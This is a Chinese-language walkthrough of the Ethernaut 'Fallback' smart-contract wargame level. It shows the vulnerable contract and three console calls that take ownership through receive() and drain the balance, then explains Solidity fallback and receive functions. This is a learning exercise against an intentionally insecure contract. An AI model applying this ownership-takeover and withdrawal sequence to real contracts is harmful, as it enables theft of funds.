Ethernaut – Level 1:Fallback

(https://ethernaut.openzeppelin.com/level/0x9CB391dbcD447E645D6Cb55dE6ca23164130D008)

這一關列出了合約程式,合約中有一些功能可以呼叫,要過關需要我們達成:

  • 將合約的所有權轉成Player
  • 將合約中的balance變成零

觀察合約的程式

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

我們發現有withdraw這個函數,會將合約的balance tranfer出去,便能達成第二個條件,但同時,withdraw這個函數有一個修飾詞onlyOwner,onlyOwner需要呼叫者是owner,因此我們需要達成條件一,然後呼叫withdraw,即可過關。

那麼要怎麼變成Owner呢?觀察程式我們會發現有兩個方法,1是contributions大於原Owner,2是執行receive函數。

//建構式中說明一開始Owner的contributions是 1000 ether
constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

//變成Owner的方法1
function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

//變成Owner的方法2
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

若想要透過方法1,則要不斷的呼叫contribute(),因為它有限制msg.value <0.001,因此比較可行的就是方法2囉,有了思路執行起來就容易了:

await contract.contribute({value: 1234});//先contribute 1234 Wei,讓contributions[msg.sender]>0
await contract.sendTransaction({value: 4321});//
讓receive()執行
await contract.withdraw(); //讓balance變0

以上這樣就可以過關了。不過這邊有趣的是關於這關的名字Fallback,Fallback是Solidity中的一個函數名,其在Solidity的定義如下:

A contract can have at most one fallback function, declared using either fallback () external [payable].The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function.

每一個contract中只能有一個fallback函數,當呼叫該contract函數時,卻找不到符合的函數簽名,此時就會執行fallback函數了,因此我們可以在fallback函數中寫入我們要contract在別人呼叫錯誤執行的程式。而類似的則是receive 函數(如同本關中的receive函數),函數的簽名為receive() external payable { … },這個函數會在呼叫無數量的Ether transfer時被執行 (This is the function that is executed on plain Ether transfers (e.g. via .send() or .transfer()));若receive函數不存在,則執行fallback函數。

*名詞解釋:

  • Wei: 1 Ether = 1018 Wei